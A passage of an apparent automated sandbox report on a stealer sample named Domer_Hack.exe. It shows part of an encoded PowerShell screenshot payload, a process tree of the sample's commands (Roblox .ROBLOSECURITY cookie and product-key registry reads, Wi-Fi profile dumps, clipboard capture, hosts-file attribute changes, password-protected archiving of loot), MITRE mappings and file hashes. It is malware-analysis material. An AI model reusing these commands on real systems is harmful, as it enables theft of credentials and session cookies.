wByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
8⤵
PID:5152

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ax1hdmu5\ax1hdmu5.cmdline"
9⤵
PID:6172

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES39E2.tmp" "c:\Users\Admin\AppData\Local\Temp\ax1hdmu5\CSC64AF6022E74A461ABC186C84C56F4892.TMP"
10⤵
PID:6344

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
7⤵
PID:3288

C:\Windows\system32\reg.exe
REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
8⤵
PID:4728

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "systeminfo"
7⤵
PID:4412

C:\Windows\system32\systeminfo.exe
systeminfo
8⤵
- Gathers system information
PID:5568

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
7⤵
PID:4404

C:\Windows\system32\netsh.exe
netsh wlan show profile
8⤵
PID:5620

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
7⤵
PID:1292

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-Clipboard
8⤵
PID:1664

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
7⤵
PID:5196

C:\Windows\system32\tree.com
tree /A /F
8⤵
PID:6272

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
7⤵
PID:6932

C:\Windows\system32\tree.com
tree /A /F
8⤵
PID:6540

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
7⤵
PID:5124

C:\Windows\system32\attrib.exe
attrib -r C:\Windows\System32\drivers\etc\hosts
8⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:6268

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
7⤵
PID:2728

C:\Windows\system32\attrib.exe
attrib +r C:\Windows\System32\drivers\etc\hosts
8⤵
- Drops file in Drivers directory
- Views/modifies file attributes
PID:6632

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
7⤵
PID:5676

C:\Windows\system32\tree.com
tree /A /F
8⤵
PID:6616

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
7⤵
PID:6288

C:\Windows\system32\tree.com
tree /A /F
8⤵
PID:772

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
7⤵
PID:6672

C:\Windows\system32\tasklist.exe
tasklist /FO LIST
8⤵
- Enumerates processes with tasklist
PID:5984

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "tree /A /F"
7⤵
PID:6748

C:\Windows\system32\tree.com
tree /A /F
8⤵
PID:6752

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "getmac"
7⤵
PID:4908

C:\Windows\system32\getmac.exe
getmac
8⤵
PID:5824

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3280"
7⤵
PID:5812

C:\Windows\system32\taskkill.exe
taskkill /F /PID 3280
8⤵
- Kills process with taskkill
PID:6980

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3280"
7⤵
PID:7008

C:\Windows\system32\taskkill.exe
taskkill /F /PID 3280
8⤵
- Kills process with taskkill
PID:7060

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
7⤵
PID:7148

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
8⤵
PID:5340

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
7⤵
PID:6548

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
8⤵
PID:6148

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI50522\rar.exe a -r -hp"1234" "C:\Users\Admin\AppData\Local\Temp\SoZNs.zip" *"
7⤵
PID:5336

C:\Users\Admin\AppData\Local\Temp\_MEI50522\rar.exe
C:\Users\Admin\AppData\Local\Temp\_MEI50522\rar.exe a -r -hp"1234" "C:\Users\Admin\AppData\Local\Temp\SoZNs.zip" *
8⤵
- Executes dropped EXE
PID:6540

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic os get Caption"
7⤵
PID:4180

C:\Windows\System32\Wbem\WMIC.exe
wmic os get Caption
8⤵
PID:5124

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
7⤵
PID:5256

C:\Windows\System32\Wbem\WMIC.exe
wmic computersystem get totalphysicalmemory
8⤵
PID:3428

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
7⤵
PID:6528

C:\Windows\System32\Wbem\WMIC.exe
wmic csproduct get uuid
8⤵
PID:6040

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
7⤵
PID:6352

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
8⤵
PID:6032

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
7⤵
PID:6784

C:\Windows\System32\Wbem\WMIC.exe
wmic path win32_VideoController get name
8⤵
- Detects videocard installed
PID:1644

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
7⤵
PID:5128

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
8⤵
PID:1460

C:\Users\Admin\AppData\Local\Temp\RarSFX2\Domer_Hack.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Domer_Hack.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4128

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5028

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4164

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Replication Through Removable Media

T1091

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15A

Filesize
893B

MD5
d4ae187b4574036c2d76b6df8a8c1a30

SHA1
b06f409fa14bab33cbaf4a37811b8740b624d9e5

SHA256
a2ce3a0fa7d2a833d1801e01ec48e35b70d84f3467cc9f8fab370386e13879c7

SHA512
1f44a360e8bb8ada22bc5bfe001f1babb4e72005a46bc2a94c33c4bd149ff256cce6f35d65ca4f7fc2a5b9e15494155449830d2809c8cf218d0b9196ec646b0c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Filesize
330B

MD5
696c6dd5b78122f6e7871f091a92534d

SHA1
54a93c530cad8c24110589dc15687d3d8675ec6a

SHA256
02c0533678d2ee822cc5298dc9b939168bcd5cb788251a94dc70beb5804ad33e

SHA512
b318ab99daa3b19648af163b55ed7cce718c34714548b1660a05016f6fea37d5dcb79952bddc8cd9fa7c6f5651b7fbd19e61a5016833ea055c397666d2c6d952

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Filesize
330B

MD5
696c6dd5b78122f6e7871f091a92534d

SHA1
54a93c530cad8c24110589dc15687d3d8675ec6a

SHA256
02c0533678d2ee822cc5298dc9b939168bcd5cb788251a94dc70beb5804ad33e

SHA512
b318ab99daa3b19648af163b55ed7cce718c34714548b1660a05016f6fea37d5dcb79952bddc8cd9fa7c6f5651b7fbd19e61a5016833ea055c397666d2c6d952

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Filesize
330B

MD5
edd1ccfd1fda9ea36c8d7eac22b2c5d0

SHA1
3a4f0cbb9123333e3d7adde222497c00511065ee

SHA256
421564f801b2ad25b529de7f119e4bd474c884b128f44e3816bd70151eb607a9

SHA512
bfb49c1a41e0372b5e7ec9608a406b125d1836d187c948b8eee41b35640fbfdeac1f79fe79e49ade4e1eaa7383cec0eb9007aa5993bf154978828afd60891c5e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A

Filesize
252B

MD5
5677dbd7bf964e8f3cec185709c31863

SHA1
9b701d1a3151d70d912797e3193cf26da7a2d352

SHA256
fe0be0b56dea01269c1962827c05dfd1982a745e6ff97b5cd1a7131bb73cb05d

SHA512
b82af76b5e82cb47d13bbf37f0e7ed3843fbfa850155b0350ddeaace8d1da296ca2ec48ea2a3b4da67237275d20dbd83c53da54d76cd39b89ddd5aaebf4c649f

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15A

Filesize
252B

MD5
e2177f2e74affdf70ffec0dd749b843f

SHA1
feb3bab8e154458b4be6aedc269f7de76e9f05ec

SHA256
6141b5d171c84365213d0c2a3fd1b4bddacd8db82566071176dbffc1052eb5ee

SHA512
3ffaa74e270d76edfa55945a483ad2f7646a98345a425a0911d4fc197af36df190887605863d5d3a2483b96d3daed290c09cb13faf1a9b11cf268c55c72bc4e4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000008

Filesize
58KB

MD5
62fbd3edaca201c0ab8e94e74b049437

SHA1
4be5c20507706717e920ef87771b7a16eb879e9a

SHA256
e65dd3210be4f8ceef24ae0056876c831e31f6b265a9402690a90237fc395660

SHA512
daaafe5f2389c813b5391eda5e3e9f95bdf11c4c63067c248319d79d2efd14ca64d578986b5a23ecd4056c6ec52fbc21d7d4015a3a9878df0e0e9198b6c33a7f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000025

Filesize
171KB

MD5
442d0e9e8515f3517372c89d7d94fe9b

SHA1
768598cde1ba553c3b208f842b06eb80b94f2939

SHA256
205f37c78cda70f635fd72e1d99079d7c4d88e54e88b04a0d746455eefe3b979

SHA512
cd396095eb7640706063c45d951e49ec380ddd5f61088a26df2471d4424b14579708842ff971a5abe41f03218364ee5f7246d26bf2a0d3e08998bd580abcf739

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
600B

MD5
e2203a93af9591bbaf967575560c8837

SHA1
905c9ea7f5ed340abfcc560ee046c2997b60b8f4

SHA256
249051ee4fb9606caf70a2a6b0de5b41a8c617c0e3201049df2171cd0953c812

SHA512
ca2d093e0afee3cfcce959425a7c75b71e7bb9f6fea7ae17b8caf0b4bf7dd2bf54208eb3417224e93b77efbeab67e3b10c0c93caac8b589639b9a630c1b0556f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
d8d92563b1a60527367053acc77f7d9f

SHA1
37c04fbbfc6462a0fa1cf5d6f290d456cd91c468

SHA256
e997c364e3d4690c510f53f2974b38329d25b5042b6ba36c7548c29b5c2274bf

SHA512
29569de900510873f7b6e1237e123cf6e92b8efb66caca17baad4c8e97a2c35323110494eb26590535e767c2e215c37ff9546a1ca10f6978178893b3be055f79

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\File System\000\t\Paths\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\File System\001\t\Paths\MANIFEST-000001

Filesize
41B

MD5
5af87dfd673ba2115e2fcf5cfdb727ab

SHA1
d5b5bbf396dc291274584ef71f444f420b6056f1

SHA256
f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4

SHA512
de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

Filesize
264KB

MD5
a4a3256b912133a3ea9b893e5eb5f2dc

SHA1
867516242f8dae2147fced117cc223f58a247c38

SHA256
d9099205fa6823312cd099fbaec7a46c20e423e7674627cab92a3bd697c69325

SHA512
a227dedb06f312a25faa7ea4e2553541d24be7756792f289b82b3c21040523dec426846ea3506f86bfb6d0dd74dd253fa1a7229ca6d262b1bb1fcec98f9b6aa8

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
5KB

MD5
331ec5a7aa8c4fc24531028fdb36e08f

SHA1
66ce608ec06d41140d99cdd5cdcef265c3cb26d7

SHA256
4831891f7a5377ba4abd3f30d27e340f6ddc5f197003255431d6ef227bfe0052

SHA512
64649d117ce893628369dbdf86c8ba14158a6a059db39ff41a67f4750f28b0c70afb97e60e680943c6719eda26c23e612e62fc743c97aeab3b7d6406d301f45a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
2KB

MD5
418fd3b137f4a805385e80ca1560030b

SHA1
e639d10bea186021f442f548d10f7e1263c650bf

SHA256
67d9cc72eeaa5dbae03a92748581aa4d42ff7e0392898913c2c706906a42ccf4

SHA512
36bb3a321661f9975b1ac0a889ca06b4aa4208a9fb2083b99097761b496f23641970ed4319c4e2d5f552c7ae6ff2a21483c015073181e78bbbe5986e4fdf9f86

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
2KB

MD5
fb6e4bc0ddb115f3ffc1231b99b1e5a7

SHA1
27abc5538f387cbf7ded0ad1ffea6520e1b85112

SHA256
b5cc704e93ddf3c9a05f5807f3fa39bed7301d1b058cde8551aa80d70bc51604

SHA512
c6c55dbd6e1bc9f05fd3b30858e12c5986cc5f99b52b567979e03bea753eda4a6a19e7951c9edf55735208b2318ee1da7010e311cdfb7e599d7f4fc10a06d26c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
2KB

MD5
5d2f88be34bbe62e086666abd4167c42

SHA1
3539ee3705e45cbb1da90c37de31016f9d4b95c7

SHA256
53e3198d9b843b7d2e71ab9914cfcf75b86b5d7f0d0e9a55db32b52cabe8f363

SHA512
f62c4728389929b12ecfdcaf29a3be0e1e5768ef42ec90089a0ad3098ea61eea2372d2d7c05d8a68faae26efcd80dbff0b7b127f9435d2808b3af63e613529da

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
6KB

MD5
413bef3e504cdc17d120858f6663252f

SHA1
1933edaecd3bb22e172865f41765b9e42e7d443d

SHA256
865a70632fb1f1852f16560d29174c8ca7d664859f147ee9563c063909b4b905

SHA512
ad26dc013c0192038a4278bc2e32cab2224f26466be5b3adcfee1177ad173f37d0ed681e1729646641083259b9c4b6beb34eb2f0bf14e01f3b39722947f61cdd

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
7KB

MD5
3c9fc921708f3cddd2aa15bb0b9e4eb4

SHA1
9e236aac41f0dbc8a8dc46496217749c8c722f23

SHA256
04f87d7f4bfac480b0c14bea9e2f08cdd6b035df53667ea949784ae186d2b292

SHA512
f26638a44e2809e333515f4ad5934fc68e46cdb5978c97f38a440bf8b0b4a6e5558e7bad0508787b41cb9e7fd30dfde0cf498373355a4f23a22f82fa51092edc

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
7KB

MD5
b2fa61a86b5da650300fd26a779e1bbc

SHA1
ffd920dd51a0e093bc3ef78113d78c5c778212cb

SHA256
f2ce7b0e6df0c4a89689e52ef34222232797e0d72772e5d764672212fbe5d477

SHA512
11cdb53b183d5223e7e33c2e249f83f1e2d5350e4f7ab7ab77f3123ae0eb23a379db303da6f47ba7a361f824c4c4ca9c3ddd93859f15f1988f24f4301449a4a8

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
6KB

MD5
2c2bb903804a331500c55ae0d150ae00

SHA1
2b72e6638a303e6baaa07b906940eae515765db5

SHA256
1d3c8da2e0fd14a76f60fb26d5084eef64d14029cd2a1dc088a54f4d6e90a53e

SHA512
19a38709ef4526b59df23e0f38837a76dac5928ec7d1b30f8f861ac640c6ae5cbb5e5344d3a663c2ce58701bc18b44fc6dae460bd823cb74951e8edcc1a5cdf5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index

Filesize
72B

MD5
149434c9a04332b52ea350044d01b688

SHA1
d0b56ddd38770554fa9151465a399a9b9aa65772

SHA256
81dd649f9683499cd2c002f1fc4ceca38ce86751a291b5de57a379f13e5344c8

SHA512
baa8e27dc8b3e5562cf9ffe2e04b711fc036df3e76f045388e4e4cd1d8224890c70d9d886324b30f7b3a3f7a57c466206543b90162cb5ca550ec4a88770851c4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe582527.TMP

Filesize
48B

MD5
3a6cec0b29edd1d8cb238a60ffad47dc

SHA1
bca6600a3b6681ccfd31f841af0cc2ad7dba7308

SHA256
13f547a0c1644c5cd7ff498ac394bd0130360a6fb7a8937ea25413f358e548ce

SHA512
bf613471036b37fd47f74619811c02d68be73338a7ef2fe7429f8d9f8395779788b26c8c2138559e77ff534b5b8424976b5cb20b19cc9f7113db3a5444e9a07c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
87KB

MD5
a35221aa53f125251805bccaea144325

SHA1
fb8efe3ea5ebc196ae12fae2ee0925d14123bed5

SHA256
72620f1cf2959a7adfae0fc5832034243d66595c1e15af8a564ddb28b0ff7573

SHA512
28942d67ac632f4bc66dacaffc6c3e4139ae63724b9e3b70497c7c9842fd3b8c7053e82dc9ec0ef10950bf33b990f8af109f0e234055f9565a7850ac236ecf1a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
87KB

MD5
496ceabcd8b6478b101178d3ab2187b5

SHA1
9afc2fdf23fdcc5d72d5e48b9443e2e6ddb898af

SHA256
0818214331da3a321635e6326dae7630a455f730ab37b87319a0952842994052

SHA512
3aab13beac26bcc43d4ddcfd7392fba218200971b8c7bdb5bbb7c6048ea2eb601a51e7aebfc662096a0895a7aff39af804f448cac612312254e56404acbef123

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
87KB

MD5
c7747dcc2d883981e5bc5526f566bdfc

SHA1
77d502092cea8042ea2fd992ca88006343f15ea9

SHA256
6170223470d4280404e7bc4f7c503295ce71bb0ca7b66dabfc4fc631af6feeba

SHA512
39c440e64a2d7ec8b4f05fdbb250a7cbbea42c5ea751ce94be721a87e935c3c0bf6ecaf869be0beb276ddcc841de1a485598a44b7fa118da665da89200e812f5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache

Filesize
107KB

MD5
bd4ee3c7b632ad61f45938acdea36e07

SHA1
10b52aa9f6b4edbdbedfd866d2e3ebf7a17741eb

SHA256
9fb3255863c855a329e5a84bed9c141e908cfc192031d29a9f32a608d50e673c

SHA512
b28e76a71cc58811c5babf308f025d2b632ed2b680bafe1f3756cc02527c5bbefc81548a9ef66248781aba8ed1efe57c575b3814ea7a0e75200c77f0f871d4f6

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache~RFe58218d.TMP

Filesize
101KB

MD5
f4665abf27a3f31f2af37bc960b46976

SHA1
5b2be3572ba457533f6e8b012b1f831ba6236fc7

SHA256
0df7a6ec578615fba0eab89292974f286f128994d5c5e0b1f26bc666be29e58c

SHA512
deda8ce6af6b3107cb55b359ca556510707f9d3fb1f31808d7eb9ad2f36fde336f13608a10d3dc40a6838e71586c2b6e60c63044a568266e4d7204c08d92d5c4

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\persisted_first_party_sets.json

Filesize
2B

MD5
99914b932bd37a50b983c5e7c90ae93b

SHA1
bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f

SHA256
44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a

SHA512
27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\adjustService.exe.log

Filesize
408B

MD5
42157868488d3ef98c00e3fa12f064be

SHA1
aad391be9ac3f6ce1ced49583690486a5f4186fb

SHA256
b9520170e84597186ba5cc223b9c2773f70d0cda088950bae2182e3b2237995c

SHA512
8f4a4bd63ceefc34158ea23f3a73dcc2848eeacdba8355d1251a96b4e0c18e2f3b0c4939be359f874f81fe4ee63283b8be43a70fe2dbaa2e64784333d10a2471

Download Submit
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Domer_Hack.exe

Filesize
2.9MB

MD5
1a312c06bca80b3ac48cf77bd3472f28

SHA1
53637afffea06b94ff298c479b0c8790c9d46338

SHA256
e40f9ead95d2a7a64416151eee05d71c9a9eb3760c2cac5e119465452274f4eb

SHA512
8b4a228c286584ce261adeb60f8bfaaf4d75cb69b51a48667299d3009f5f52949d8a82a04c50821a1685c2604dfcf424a90939e696f487cace22b8989d6ef597

Download Submit
